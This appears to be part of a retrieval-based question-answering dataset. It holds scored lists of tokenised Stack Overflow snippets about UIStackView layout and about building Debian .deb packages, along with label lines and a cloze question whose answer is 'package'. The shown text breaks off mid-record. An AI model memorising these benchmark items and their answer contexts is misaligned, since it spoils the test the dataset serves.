arrangedSubviews array on UIStackView it is still a subview .", "From the UIStackView documentation : .. . .. . The stack view ensures that its arrangedSubviews property is always a subset of its subviews property .", "A major advantage of using UIStackView is it uses Auto Layout to position and size its arranged UIViews .", "Unfortunately when I put the 20 points width and height the height is completly ignored since it takes the height of the UIStackView control .", "I even tried to completely remove the UIStackView but then I get breaking constraints which I have no idea what it means .", "I also need to add the UILabel inside the UIStackView should I be using multiple stackviews ." ] }
{ "confidence": [ 94.00028228759766, 51.347747802734375, 51.31231689453125, 51.07994079589844, 49.171958923339844, 49.150657653808594, 48.386756896972656, 48.18183135986328, 47.105010986328125, 47.09564971923828, 47.023780822753906, 47.003841400146484, 46.77976608276367, 46.54652404785156, 46.30863952636719, 46.26646423339844, 46.18437957763672, 46.18437957763672, 45.600093841552734, 45.42628479003906 ], "content": [ "Question : I recently installed Xcode 7 beta and found something new in object library like .. . .. . Horizontal stack view and Vertical stack view . When i put some controls inside it stackview seems to be resizable according to the control size . When i present more controls the stack seems to be adjust automatically as of the stack view . Either adjusting horizontally or vertically Is it derived from some other mobile platform Comment : From Apple s What s new in Xcode 7 : Stack views make it easier to layout your views by adding all the necessary constraints automatically . Use stack views to naturally group collections of views so they behave consistently together and then react as a group to the surrounding UI . Also read-the-docs : Comment : i have read doc and i know definition please can u provide me practical suggestion Comment : Ah well there was nothing about practical suggestions in your question : I can t help you with them as I haven t yet played with it . Comment : anyway thank to you too .. . Answer : A major advantage of using UIStackView is it uses Auto Layout to position and size its arranged UIViews . Therefore you dont need to worry about positioning UIViews in a UIStackView .For a horizontal stack this means the first arranged view s leading edge is pinned to the stack s leading edge and the last arranged view s trailing edge is pinned to the stack s trailing edge . You can try by inserting two or more controls to a horizontal stack view how they align horizontally w.r.t each other . .. . .. . The UIStackView class provides a streamlined interface for laying out a collection of views in either a column or a row . Stack views let you leverage the power of Auto Layout creating user interfaces that can dynamically adapt to the device s orientation screen-size and any changes in the available space . The stack view manages the layout of all the views in its arrangedSubviews property . These views are arranged along the stack view s axis based on their order in the arrangedSubviews array . The exact layout varies depending on the stack view s axis distribution alignment spacing and other properties . For how to use .. . .. . Here is a detail tutorial from raywenderlich site : .. . .. . http : www.raywenderlich.com 114552 uistackview-tutorial-introducing-stack-views .. . .. . For More Please have a look at https : developer.apple.com library prerelease ios documentation UIKit Reference UIStackView Class Reference index.html Comment : thanks i got something helpful", "Question : I m trying to append images onto a view and have them display a thumbnail in a nice neat row . The issue I m having is that it appears all images simply get added on top on each other in the corner as only the last image in the array is dispayed . Comment : Where do you add the image to the imageArray From the code I would assume this array is always empty . Comment : That is added elsewhere but i ve checked the array and it s not empty . Comment : Ok I just wanted to make sure . Then check my answer . .. . Answer : Use addArrangedSubview of UIStackView instead of addSubview . And you should add all the Buttons to the same UIStackView . So add a property for the UIStackView to your class initialize it in viewDidLoad or in the storyboard and add the buttons to that stack view in addImageToScreen . Comment : Ok so i now have photosView addArrangedSubview : container and it s producing the same results . Comment : I edited the answer . Comment : OK so i ve given it a go but having no luck . What i ve done is added @property strong nonatomic IBOutlet UIStackView photosView in the .h file . Added self.photosView UIStackView alloc initWithFrame : CGRectMake 10 5 500 75 in the viewDidLoad and edited the following line in addImageToScreen self.photosView addSubview : container self.view addSubview : self.photosView The results are the same : Comment : I should say that i m an objective-c newbie too", "Question : UIStackView in Interface Builder http : i.stack.imgur.com E9xgf.png .. . .. . The Stack View H has two UIViews in it and is constrained to fill the parent UIView . The Grey and Green UIViews within the UIStackView are constrained by width so what I am seeing in Interface Builder is what I am expecting to see . However when I run the app I get this : .. . .. . How it looks in the simulator http : i.stack.imgur.com bvI9d.png .. . .. . The grey UIView has disappeared or is hidden behind the green view and the green view is now full width . I suspect the views are getting stacked on top of each other rather than being distributed but I don t understand why . The reason I say they are getting stacked on top of each other is because if I change the UIViews to UILabels it becomes clear that that is what is happening . .. . Answer : Well I worked it out and while I wouldn t call it a bug within Interface Builder it is certainly a subtlety . In Interface Builder when you add a new object to a UIStackView from the object library add it to the parent UIView first before dragging it into the UIStackView . If you drag it from the object library directly into the UIStackView something goes wrong and that object will not be properly constrained .", "Question : null .. . Answer : Before I begin please don t shoot the messenger - this is functionality required by the client so discussions as to the higher-level rights and wrongs of UX in this instance probably aren t going to help very much . Anyway my dilemma is as follows . I have a vertical UIStackView containing a number of items each with their own collection of subviews . The top item in this vertical UIStackView contains a horizontal paged UIScrollView on which is added a horizontal UIStackView containing a number of items of different heights . Now because the horizontal UIStackView contains items of different heights when its containing UIScrollView scrolls left and right thereby bringing new items onto the screen and sliding previous items off the height NSLayoutConstraint of the UIStackView and parent UIScrollView needs to change to accomodate . This ensures that all of the vertical UIStackView items beneath this top item slide down out of the way and back up where needed all automatically . This dynamic-resizing is all being done within scrollViewDidScroll of the top item s UIScrollView . And believe it or not this does actually all work with just one problem : when a resize is required I get UIScrollView lag . If no resizing is required I don t . Now from the evidence it would seem autolayout UIStackViews and scrollViewDidScroll are not playing well together when the resizing is taking place I am also under the impression that this is related to the vertical UIStackView calling layoutSubviews on all of its children for every frame of scrollViewDidScroll that actually changes the height of the top item . If I remove all UIStackView items except for the top item containing the UIScrollView + horizontal UIStackView scrolling is seamless when resizing . In addition if I put the resize into an animation block within scrollViewDidScroll which is called once it is again seamless . So the question is has anyone come across anything similar in the past and found a way around it Is there anything I m missing Does anyone know if UIStackView layoutSubviews calls can be somehow prevented or blocked in this instance Thoughts would be very welcome as removing the use of autolayout and UIStackViews would likely have somewhat large and expensive ramifications .", "Question : I m trying to add views in UIStackView programmatically . For now My code is : .. . .. . When i deploy the app there is only 1 view and it is with black colour . view1 get the parameters for view2 too Comment : You sanity checked your outlet Did you log the subviews at runtime .. . Answer : Stack views use intrinsic content size so use layout constraints to define the dimensions of the views . There is an easy way to add constraints quickly example : .. . .. . Complete Code : .. . .. . Note : This was tested on iOS 9 .. . .. . UIStackView Equal Spacing centered http : i.stack.imgur.com uXzT7.png Comment : The point of using stack views is that they hide the details of constraint management from the developer . As you pointed out this relies on the subviews having an intrinsic content size which default UIViews do not . If the original poster had used UILabel instances instead of UIView his code would have worked as he expected . I added an example that demonstrates this below . Comment : when i do this view1.heightAnchor constraintEqualToConstant : 100 .active true im getting error on ios 8.It s working only on ios 9.I know that uistackview is for ios 9+ but how can i set heightAncor constraint for ios 8", "Question : This sounds like a really simple issue but somehow I do not know how to easily solve it . Inside one row UIStackView horizontal I am trying to place two buttons Cancel and OK so that Cancel button will be at 1 4 of the whole length from left and Ok will be at the 3 4 of the whole length from left . I would like the buttons to be fixed length and not stretching to occupy the whole row . Is there a way to solve it with just one UIStackView with 2 buttons I am sure there a lots of alternatives programing a view use 3 UIStackViews . Thanks . .. . Answer : hope you can find an easy way using equalWidthconstraints instead for UIStackView . ie . 1 . You should place both buttons in a sam line.and make sure both button s width are same . 2.then you select both buttons and put EqualWidthConstraint . 3.After that pin the left button with top left and right . 4.pin the right button with right top spaces 5.then you double click on the equalwidthconstraints and give Multiplier as you needed like 1 : 4 3 : 4 something like that . Thank you Comment : Thanveer thanks for the answer . So it appears that you are proposing a containing UIView and do the setup as you mentioned instead of using UIStackView . Is that right Comment : Yes that is the best way for your current requirement..i hope so .", "Question : I have a UIStackView with 5 subviews . I want to be able to animate the width of these subviews by updating their intrinsicContentSize or updating their constraints . How can I make the stackView redraw after updating the subview s layout I have tried various ways of trying to get the stackView to update but nothing happens . The only way I can make it work is if I show-hide another subview inside the animation block then the new layout is animated correctly but I don t want to do this . I have seen this question Animating UIStackView arrangedSubview content size change http : stackoverflow.com questions 35365691 animating-uistackview-arrangedsubview-content-size-change but the suggested answer does not work nothing animates . Comment : have you tried view.updateConstraints Comment : Yes on the stackView and subviews neither has any effect . .. . Answer : You don t need viewToResize.invalidateIntrinsicContentSize update constraint of your subviews instead . In the code below we have two subviews in the stackView and we create a widthConstraint outlet from storyboard . Then we can animate the width of the subview by updating the constant of widthConstraint in animation block . Note : If a view is contained in a stack view and you try to modify the view frame it should not change .. . .. . For more details you can have a look at this great blog UIStackView Auto Layout and Core Animation https : www.invasivecode.com weblog uistackview-core-animation Comment : How would I do this if I want 1 subview to have a fixed width and the other to fill the available space I want to toggle between the views I tried removing adding constraints in the animation block and it works but breaks other constraints . Comment : Actually adding and removing the constraints works well but I had to lower the priority to stop other constraints breaking . Comment : I just updated the link .", "Question : I checked all distribution types in a horizontal stack view UIStackView but I couldn t find one in which the first item starts at the leading of the stack view and all the other items have a constant specified spacing between them . Basically my goal would be to have a table in which I have a stack view in each cell below each other and the items doesn t matter how many they are are horizontally aligned to the ones above and below them the items are gonna be numbers so an equal spacing between them is sufficient as they are gonna have the same width . The closest is Fill Proportionally but the spacings are not constant . Also Equal Spacing option has the problem that the spacing changes according to the number of elements in the view due to the fact that it fills the view . Is there a way to make such kind of alignment of items in a stack view or even without it .. . Answer : UIStackView has a spacing property constant you should use this to set the space you want between the stack subviews . From Apple Docs : .. . .. . var spacing : CGFloat .. . .. . The distance in points between the adjacent edges of the stack view s arranged views . UIStackView Class Reference https : developer.apple.com library ios documentation UIKit Reference UIStackView Class Reference apple ref occ instp UIStackView spacing .. . .. . Hope It helps Comment : But which distribution should I use Cause even if I set spacing to a value and set distribution to e.g . Equal Spacing it still tries to fill the whole thing and sets the spacing automatically like spacing property wouldn t matter . In other types of distribution it maters a bit makes spacing more or less but the spacing still changes according to the size of the container and the number of items in it . Is there a way to turn the effect of distribution style off Comment : Use fill each subview will take its intrinsic content size", "Question : I m trying to implement a table view cell that displays a series of icons that represent home amenities e.g . towels wifi laundry etc . . The cell could potentially display a large number of amenities depending on how many the home has so I ll display a maximum of three and indicate that you can view more by clicking on the cell if there are more than three . Here is what it should look like from Airbnb s app : .. . .. . enter image description here http : i.stack.imgur.com tQAXc.png .. . .. . I am trying to do this by dynamically adding UIImageViews to a UIStackView in the table view cell . I am using a UIStackView with alignment set to Fill and distribution set to Equal spacing the idea being that the stack view will evenly space out the icons no matter how many I add to it . I set up the stack view in Storyboard . It has constraints to the top bottom left and right margins of its content view so that it fills the table view cell up to the margins . Here is the code I am using to try to dynamically add UIImageViews to the cell . Note amenities is an array of strings equal to the names of the icons in my image assets folder : .. . .. . The backgrounds of the image views are blue and the background-color of the stack view is green . Here is the result for a case where the house has three amenities : .. . .. . enter image description here http : i.stack.imgur.com 3h2NU.png .. . .. . Looks like all the image views are being pushed on top of one another to the left of the screen . They also fill the cell s content view from top to bottom even though the stack view is pinned to the content view margins . There s no green in sight so it appears the stack view is not remaining pinned to the margins of the cell . Any idea what s wrong here Comment : Use addArrangedSubview .. . Answer : As Dan said in the comments use addArrangedSubview to add a subview that will be automatically laid out by UIStackView . Note however : if you remove a view from the arrangedSubviews array on UIStackView it is still a subview . From the UIStackView documentation : .. . .. . The stack view ensures that its arrangedSubviews property is always a subset of its subviews property . Specifically the stack view enforces the following rules : .. . .. . When the stack view adds a view to its arrangedSubviews array it also add that view as a subview if it isn t already . .. . When a subview is removed from the stack view the stack view also removes it from the arrangedSubviews array . .. . Removing a view from the arrangedSubviews array does not remove it as a subview . The stack view no longer manages the view s size and position but the view is still part of the view-hierarchy and is rendered on screen if it is visible . It s always a good idea to start with the documentation . Comment : Also worth noting from the documentation : The UIStackView is a nonrendering subclass of UIView . It does not provide any user-interface of its own . Instead it just manages the position and size of its arranged views . As a result some properties like backgroundColor have no affect on the stack view . This is why kcstricks doesn t see her green background . Comment : Thanks @robmayoff I actually didn t get that far in the docs . Shame on me Comment : My apologies for the delayed response I finally had the time to get back to the app and try this out . Worked perfectly Thank you Thanks to @robmayoff as well for the useful note .", "Question : I am getting a Presenting view controllers on detached view controllers is discouraged warning in a somewhat specialized architecture . And - there are some fairly big UI issues resulting from it . I have an architecture with 2 distinct unconnected groups in my storyboard . The first group is the main interface of my app and includes an UIStackView . The second group consists of an UIView plus attached popover segue as shown in the image below . enter image description here http : i.stack.imgur.com G6Ez8.png .. . .. . I dynamically populate the UIStackView of group 1 with up to 8 instances of the UIView of group 2 . This is done in a function called loadViews in the UIStackView subclass which is called as needed . Here is the cleaned up pseudo code for illustration : .. . .. . Every time I trigger the popover on one of the embedded green views in the stack view I get the warning from above . More importantly when running on an iPad in split view mode the stack view loses a green view each time until there are none left . The latter is just a display issue because on refresh all views are back . I am completely stumped and am not sure how to fix this or implement things differently . If the issue is that the loaded views are not attached can they be re-attached Or is there a way to dynamically load a stack view with up to 256 views that are attached to it .. . Answer : Solved : .. . .. . Another lesson in taking Xcode warnings to heart - even if the word discouraged is used . As in this case things tend to break . The solution was obvious in hindsight . The new view controllers that were instantiated as greenVC had to be attached to the containing view controller - i.e . the one several layers up in the view-hierarchy that contains this UIStackView : .. . .. . The line above is called right before appending greenVC to my array of added view controllers . Of course now removeFromParentViewController has to be called as well where instances of GreenVC get removed but otherwise that s it . The warning is gone and so is the issue of vanishing views .", "Question : I am using a UIStackView in iOS 9 SDK . The height of the stackview is 44 points . I have a UILabel and UIView inside the StackView as shown below : .. . .. . enter image description here http : i.stack.imgur.com CPk3J.png .. . .. . Now I want to make the green view much smaller than 44. . much like 20 . How can I do that UPDATE : Without the UIStackView I am getting breaking constraints : .. . .. . Comment : Can you explain why you need to use a stack view in this situation It seems like you have a pretty basic setup . What are you hoping to accomplish .. . Answer : 1 . First you need to add UIStackView on the cell enter image description here http : i.stack.imgur.com W2yXJ.png .. . .. . 2 . Need to add constraints to your UIStackView enter image description here http : i.stack.imgur.com FWRGU.png .. . .. . 3 . Adjust your UIStackView enter image description here http : i.stack.imgur.com RWxmL.png .. . .. . 4 . Drag Drop UILabel into your UIStackView enter image description here http : i.stack.imgur.com Lg4FF.png .. . .. . 5 . Then Drag Drop UIView into your UIStackView enter image description here http : i.stack.imgur.com 3U0A4.png .. . .. . 6 . Add green-UIView like subview to pink UIView enter image description here http : i.stack.imgur.com ocAR9.png .. . .. . 7 . Now you can add couple constraints to green-UIView enter image description here http : i.stack.imgur.com PQlL4.png enter image description here http : i.stack.imgur.com jIjuN.png .. . .. . 8 . Now you can run app on simulator or device enter image description here http : i.stack.imgur.com kFTHG.png enter image description here http : i.stack.imgur.com zRnub.png .. . .. . Notice that I don t added any constraints for UILabel . Comment : Thanks for a detailed screenshots Unfortunately when I put the UIView inside the UIStackView then it takes the height of the UIStackView . I tried dragging and changing the height of the UIView but it always resets back to the UIStackView s height . Comment : Wait a second You added a really small stackview for that green view . I also need to add the UILabel inside the UIStackView should I be using multiple stackviews . Comment : Thanks I removed the UIStackView and added constraints manually and now it works Comment : @johndoe Check my update .", "Question : Here is a print screen of my arrangement : .. . .. . enter image description here http : i.stack.imgur.com hdeUV.png .. . .. . I want my Info button to sit on the left part of the stack view like the Add button is sitting . How can I do that I want space between buttons but using Spacing property of the Stack View will not behave correctly if I run on different iPhone dimensions . .. . Answer : Short Answer : You Can t . The purpose of the UIStackView is to stack views . You can add significant space between them but you can t really calculate that for different size classes . I would love it if Apple made Flexible Space Items available to UIStackView Comment : I think you can be selection Equal Spacing for the Distribution property", "Question : null .. . Answer : I ve got a ViewController that has a lot of labels that must be displayed horizontally so I ve decided to use UIStackView for this . These labels belong to different sections so I m using nested stack views to achieve this . The problem is that one of these sections should be displayed with a different background-color than the others . I ve read in another thread that UIStackView does not have a background-color and I should add the stack view inside a UIView and set a proper background-color to it . What I ve made so far : .. . .. . Create a UIView and set its color .. . Create a sub stack view and add some labels to it . Add the sub stack view to the colored UIView .. . add the colored UIView to the main stack view . The result : I m not seeing any of those views inside my view controller . Note : I need to do this programmatically . Thanks in advance", "Question : null .. . Answer : UIStackView setting others UIStackView height 0 and setting ImageView size bigger and covering whole screen . I am following this Tutorial https : www.youtube.com watch v O0llR7sfrkc . How to resolve this issue please help me . I am beginner to iOS . Any help would be appreciated .", "Question : I m trying to add views in UIStackView programmatically . For now My code is : .. . .. . When i deploy the app there is only 1 view and it is with black colour . view1 get the parameters for view2 too Comment : You sanity checked your outlet Did you log the subviews at runtime .. . Answer : I just came across very similar problem . Just like mentioned before the stack view s dimensions depend one intrinsic content size of the arranged subviews . Here is my solution in Swift 2.x and following view structure : .. . .. . view - UIView .. . .. . customView - CustomView : UIView .. . .. . stackView - UISTackView .. . .. . arranged subviews - custom UIView subclasses", "Question : null .. . Answer : I have the following code that I use to create 3 test buttons at the top of a view : .. . .. . When this code is pasted into a blank View Controller class I get the following result : .. . .. . enter image description here http : i.stack.imgur.com a1qak.png .. . .. . When this code is pasted into a blank Keyboard View Controller class I get the following result ignore the Next Keyboard button that is not related to this : .. . .. . enter image description here http : i.stack.imgur.com Wl6Wp.png .. . .. . Notice how in both versions the UIStackView is not actually at the top of its parent view . I tried to fix this by including the code : .. . .. . but that has not done anything . Why is the UIStackView not showing up at the top of screen UPDATe : .. . .. . When I add-in the following code : .. . .. . The entire screen is covered by a red field . Therefore I am guessing something in the UIStackView gives it a default margin that I want to get rid of . Comment : Don t know what you want to do . If you want stackview alway on top of your view controller . In the first image don t embed your view controller in NavigationController . The second image put stackView ontop of search and search display control .", "Question : I have created a UIViewController with a UIStackView vertical axis wrapped in a UIScrollView that s pinned to the edges of the root View with auto-layout constraints . I have also generated a number of UIButton s and added to the arranged subviews of the UIStackView . I have tried to no avail to centre align the UIButtons in the UIStackView . I m not certain what i m doing wrong . Here s the code : .. . Answer : An extra equal width constraint between the scrollView and the stackView was needed . Like this : .. . .. . That did it for me .", "Question : I have created a UIViewController with a UIStackView vertical axis wrapped in a UIScrollView that s pinned to the edges of the root View with auto-layout constraints . I have also generated a number of UIButton s and added to the arranged subviews of the UIStackView . I have tried to no avail to centre align the UIButtons in the UIStackView . I m not certain what i m doing wrong . Here s the code : .. . Answer : How about : .. . .. . Comment : I already did that . I m assuming there s something i m doing wrong .", "Question : I m trying to add views in UIStackView programmatically . For now My code is : .. . .. . When i deploy the app there is only 1 view and it is with black colour . view1 get the parameters for view2 too Comment : You sanity checked your outlet Did you log the subviews at runtime .. . Answer : UIStackView uses constraints internally to position its arranged subviews . Exactly what constraints are created depends on how the stack view itself is configured . By default a stack view will create constraints that lay out its arranged subviews in a horizontal line pinning the leading and trailing views to its own leading and trailing edges . So your code would produce a layout that looks like this : .. . .. . The space that is allocated to each subview is determined by a number of factors including the subview s intrinsic content size and it s compression resistance and content hugging priorities . By default UIView instances don t define an intrinsic content size . This is something that is generally provided by a subclass such as UILabel or UIButton . Since the content compression resistance and content hugging priorities of two new UIView instances will be the same and neither view provides an intrinsic content size the layout engine must make its best guess as to what size should be allocated to each view . In your case it is assigning the first view 100 of the available space and nothing to the second view . If you modify your code to use UILabel instances instead you will get better results : .. . .. . Note that it is not necessary to explictly create any constraints yourself . This is the main benefit of using UIStackView - it hides the often ugly details of constraint management from the developer . Comment : I have the same problem that this works for Labels but not for TextFields or Views for that matter . Also all tutorials I find use Labels Images or Buttons . Does this mean that for anything different than these UI elements we cannot use this method Comment : @physicalattraction The views you add to a stack view must have an intrinsic content size . As I recall the intrinsic size of a text field is based on the content of the field which is odd . Instances of UIView itself do not have an intrinsic size . You may need to apply additional constraints to these views so the stack view knows how big to make them . Comment : Makes sense so I am trying it . Now I have built a View in a xib with a textfield which I give an explicit height constraint of 30 pixels . I furthermore make the following two constraints : MyTextField.top top+20 and bottom MyTextField.bottom+20 . I would expect this would give my view an intrinsic height of 70 but instead it complains about conflicting constraints . Do you know what is going on here It is this View that I want to place inside my UIStackView . Comment : I think I know what the problem is . A stack view automatically pins its final arranged subview to its bottom edge . So the stack view is trying to make your container view the same size as itself . However you have told this view that it must be 70 pixels tall which creates a conflict . Try creating an additional empty view immediately after your container view and give it a vertical content hugging priority of 0 . Give your container view a vertical content hugging priority of 1000 . That will cause the empty view to stretch to fill the empty space in the stack view . Comment : I m assuming you are using a vertical stack view by the way . You may also want to check out this article I wrote about stack views : dzone.com articles https : dzone.com articles building-responsive-ios-applications-using-markup", "Question : I try to test the UIStackView in a storyboard where I change the property Axis based on the orientation of an iPhone wAny hC wC hR . Unfortunately at running the change is not applied . Specifically the property Axis is modified inspected in Xcode but the layout will not change . Thank you in advance for your help . Comment : this might add little help stackoverflow.com questions 30779724 http : stackoverflow.com questions 30779724 how-to-use-stack-view-of-object-library-in-xcode-7 30780071 30780071 Comment : Thx this seems to be a bug : forums.developer.apple.com thread 5263 q uista https : forums.developer.apple.com thread 5263 q uista Comment : yeah ..may be .. . Comment : Yeah I had this problem too the above is my post : and it was confirmed by another forum member who raised a rdar . Though I can t find the bug he raised.. . Also I noticed that manually changing the axis in the trait collection callbacks also does not work.. . Note that this is fine when using Split View on an iPad though Comment : Rich changing the axis in the trait collection callbacks works if you dispatch it to the main queue : dispatch async dispatch get main queue .. . .. . Answer : This is definitely a bug . The behavior of the axis at runtime simulator or device after closer inspection only changes for every other UIStackView in the view-hierarchy . I haven t tried every possible permutation but this is what I am finding since the issue only cropped up once I wanted to introduce more than one stack view with this desired axis-changing behavior . There may be instances where a single stack view does not obey the size class rule but I haven t reliably reproduced it . Check out my iOS 9.1 project https : github.com forgo StackViewSizeClassBug which clearly demonstrates this problem with 8 UIStackView elements in a vertical arrangement . They are all configured exactly the same other than their position constrained relative to each other and the top of the screen . As you can see from the storyboard preview things look as we want and expect in landscape : .. . .. . enter image description here http : i.stack.imgur.com DF4pK.png .. . .. . It becomes a different story when running on the simulator or a device . After experimenting with many stack views it becomes apparent that the bug affects every other stack view in the view-hierarchy . enter image description here http : i.stack.imgur.com zTgfx.png .. . .. . I have raised my own separate RDAR with this example project despite hearing mention of another in the comments above . I could not find a public record of it . Apparently there is a code-based workaround that is painful and totally against the purpose of autolayout constraints and size classes . This is a pretty major bug to me as it eliminates a pretty major use-case for stack views and size classes . The code workaround according to EinharchAltPlus s post https : forums.developer.apple.com message 80781 80781 in Apple Developer forums : .. . .. . BTW : overriding viewWillTransitionToSize and manually setting different parameters solves the issue but this is pretty tiresome as we need to check view in code as well something that should be purely design related . In case that s not entirely clear you need to have a IBOutlet reference to the non-cooperative stack view and perhaps the view it fills in your view controller code . You can change the stack view s axis property and ideally the height of what it s contained in : .. . .. . If you want to be more specific with the size class that determines the behavior change just play around with the trait collection size class types until you ve met your desired condition . If I hear anything back on a bug fix timeline I will post it here . Until then I hope this helps as a workaround ." ] }
[ "yes-answer-long", "yes-answer-short" ]
interface
UNK_RELATION
deb@binary@43
deb -- deb is the extension of the debian @placeholder package format .
{ "confidence": [ 45.761260986328125, 44.724937438964844, 44.724937438964844, 44.0555305480957, 41.605186462402344, 41.03718566894531, 40.645957946777344, 39.06021499633789, 38.367576599121094, 38.367576599121094, 37.909156799316406, 37.909156799316406, 37.78252410888672, 37.63616943359375, 37.58059310913086, 37.31033706665039, 37.17211151123047, 37.17211151123047, 37.17211151123047, 37.17211151123047, 37.17211151123047, 37.17211151123047, 37.17211151123047, 36.7462043762207, 36.13578796386719, 36.13578796386719, 36.13578796386719, 35.377174377441406, 35.27125930786133, 34.908851623535156, 34.89373016357422, 34.89373016357422, 34.89373016357422, 34.89373016357422, 34.89373016357422, 34.53657531738281, 34.515350341796875, 34.50933074951172, 34.50933074951172, 34.424232482910156, 34.340850830078125, 34.340850830078125, 34.250083923339844, 34.03697967529297, 33.47300720214844, 33.21376037597656, 33.21376037597656, 33.21376037597656, 33.21376037597656, 33.21376037597656, 33.098793029785156, 33.06951141357422, 32.630470275878906, 32.552894592285156, 32.49285888671875, 32.49285888671875, 31.97170066833496, 31.97170066833496, 31.93813133239746, 31.93813133239746, 31.810489654541016, 31.60776138305664, 31.60776138305664, 31.507387161254883, 31.507387161254883, 31.507387161254883, 31.507387161254883, 31.507387161254883, 31.507387161254883, 31.47667694091797, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.456539154052734, 31.191184997558594, 31.177385330200195, 31.022226333618164, 30.471065521240234, 30.471065521240234, 30.471065521240234, 30.471065521240234, 30.471065521240234, 30.471065521240234, 30.254531860351562, 30.214479446411133, 29.766542434692383, 29.629060745239258, 29.629060745239258, 29.629060745239258, 29.375118255615234, 29.375118255615234, 29.375118255615234 ], "content": [ "I want to create a debian .deb package that patches another packages files .", "By converting .deb debian package into rpm and install it on red-hat .", "I am building a Debian .deb package for our proprietary software .", "Did the .deb format change", ".. . The Debian binary package file names conform to the following convention : - .deb .. . .. . Note that foo is supposed to be the package name .", "Is it possible to add a software source as metadata to a .deb package and the software source will automatically be added to the system when the .deb package is installed", "I m trying to build a .deb from a python package .", "Then it knows that everything under debian pkgname is what should be in the final .deb .", "I have built a .deb package for Ubuntu .", "I have created a deb package say abc.deb .", "I m using dpkg-deb to generate the .deb file on Ubuntu 8.10 .", "example.com is my repo with no sub directory deb files are stored in deb .", "For example Deb have test.dylib .", "I build a debian package with cmake cpack.I want the deb execute a bash script after i install the deb.I install the deb use sudo dpkg -i my.deb.if I install the deb like that the installed program s user and group is root .", "Finally you need ar package to create the .deb file : ar -r xxx.deb debian-binary control.tar.gz data.tar.gz .. . .. . Source : http : unix.stackexchange.com questions 30303 how-to-create-a-deb-file-manually 30330 30330", "This script executes before that package will be unpacked from its Debian archive .deb file .", "When I try to build a .deb package on Launchpad I get this error", "dpkg --info package-name .deb does not give that information .", "The sites I ve found describing deb package creation are pretty onerous .", "Now I changed my config file and built the deb package again .", "Therefore Deb-Package is not allowable as it contains 2 uppercase characters .", "I am trying to upload my app on Cydia and it requires .deb package .", "I m creating a small deb package to install a few files .", "I have created a deb .", "Now I want to create one .deb package for this software .", "During making the .deb package of the app I am getting the below issue .", "It will only show the steps for preparing and creating the actual .deb package .", "The workaround I use to deploy is to create a link in tmp .deb pointing to var tmp .deb and the run the deploy step in QtCreator .", "I have the following deb-control .. . .. . and after create my deb package with the command : dpkg-deb --build and then when i try to install it on the ubuntu software center i always get the following notification : The package is of bad quality so i wondering how can avoid this dialog", "Hi I have a source code and I do the following .. . .. . Above commands creates a debian file .deb .", "The simplest way of installing SBT on ubuntu is the deb package provided by Typesafe .", "Config script works before .deb package will be installed i.e .", "How could I install the dependencies as a part of deb package installation itself", "I try to use sbt-native-packager to build deb package .", "I am trying to make a .deb package for my project in quickly .", "Putting it into deb files so someone else can simply run the deb files and have all the settings restored as they were on original system .", "i think these links can be useful for you : .. . .. . How to make a deb on mac https : synthesize.us HOWTO make a deb archive without dpkg .. . .. . Using ant to create deb http : stackoverflow.com questions 5576265 creating-a-deb-with-apache-ant-and-without-dpkg", "Package all dependent JARs in a .deb package which is then distributed and installed by apt using a custom repository .", "I have got the requirement to add files into a .deb package which arent managed by the package system .", "As a check one can learn the package name associated with a particular Debian archive file .deb file in one of these ways : .. . .. . .. . inspect the Packages file in the directory where it was stored at a Debian FTP archive site .", "Good theory but in my case dpkg-deb -c shows the file is present in the .deb .", "And for deb helper part of the tutorial linked i have always an almost empty .deb .", "On Linux the file-type I m generating is .deb .", "I already have most of the stuff done in deb format it all works really well .", "The software is Java based so I thought it would be good if the deb package checks for an installed Java package first .", "Use pip http : www.pip-installer.org instead of or with deb .", "Which means that the .deb will have the .py files .", "I m not sure how to test whether it is in the .deb or not .", "You can use dpkg-deb -c for that purpose .", "Is there a way to bundle them into my application s .deb file", "All went fine until one of the developers found deb-s3 https : github.com krobertson deb-s3 and tried using it .", "So I need to create an architecture-specific deb i.e .", "We maintain a Debian repository for an app and all .deb files are stored on a s3 bucket .", "I am aware that we can build .deb install file using below steps : .. . .. . Please confirm on step and let me know how can I download gcc-4.9 libgcc1 4.9.2-10 amd64.deb package cource code to build .deb file", "I have a library that I must install for not being widely available and to ease packaging in my own .deb package .", "How can I export the package in catkin workspace to a .deb file so I can install and use it on the other machines", "I am trying to generate deb packages in CMake .", "Install4j allows for easy .deb .rpm etc .", "I am in need to build gcc-4.9 libgcc1 4.9.2-10 amd64.deb locally so that I can copy this deb file to another host for installation .", "I didn t understand .deb file contents only changes and i stucked with debuild and dpkg-deb -.. . cmds for building not for extract sources and any files .", "Run the following shell commands : .. . .. . 1 . wget http : apt.typesafe.com repo-deb-build-0002.deb .. . 2 . sudo dpkg -i repo-deb-build-0002.deb .. . 3 . sudo apt-get update .. . 4 . sudo apt-get install sbt .. . .. . And you re done", "I am trying to create deb package from LXC rootfs and after creating it I want to install that package any computer .", "Up to this point I achieved packaging and installing deb package however after installation of LXC package I cannot be superuser in that lxc .", "What can I do to remedy this error and install from this particular .deb", "In general anything a deb installs shouldn t belong to the user it should belong to root .", "I am trying to get license information of uninstalled deb packages .", "so this means it s trying to install in usr in the machine that builds the deb why", "I am unable to figure out how to make .deb packages on mac .", "Other person made a deb with dpkg-repack and named it test1.dylib .", "I needed to add the folders where python setup.py install needs access to debian install files... . and use --install-layout deb --root debian tmp .. . .. . During pbuilder build : run setup.py --install-layout deb fails no rights to write to usr lib python2.7 dist-packages http : stackoverflow.com questions 17754968 during-pbuilder-build-run-setup-py-install-layout-deb-fails-no-rights-to-wri .. . .. . Then the access permission are set correctly .", "I am making .deb package for the QT 5 .2.1 desktop app for ubuntu 14.04 64 bit .", "When I run the deb the DATA included is : .. . .. . Let me ask again how can I include the script on the package", "When I create a .deb from the app lintian complains that package-installs-python-bytecode .", "After installation of deb package gui crashed eg window frames disappeared so i rebooted whole thing .", "I want to create universal .deb package for my daemon which can works with both upstart and systemd .", "Also I m not sure if http : stackoverflow.com questions 1884753 license-info-of-a-deb-package is actually something one could use.. .", "Copy the python-interfaces deb package cached in var cache apt archive from machine to machine2 .. . 3 .", "@Phpdna If you know how to fix the issue by editing the deb package that s also useful information .", "In the CMakeLists.txt that defines the project you need to state that CPACK is going to be used to generate a .deb package .", "See this discussion https : wiki.ubuntu.com PackagingGuide Python of the different ways to include Python modules in a .deb package .", "I need to create a new .deb package of Realxtend project https : github.com realXtend naali .", 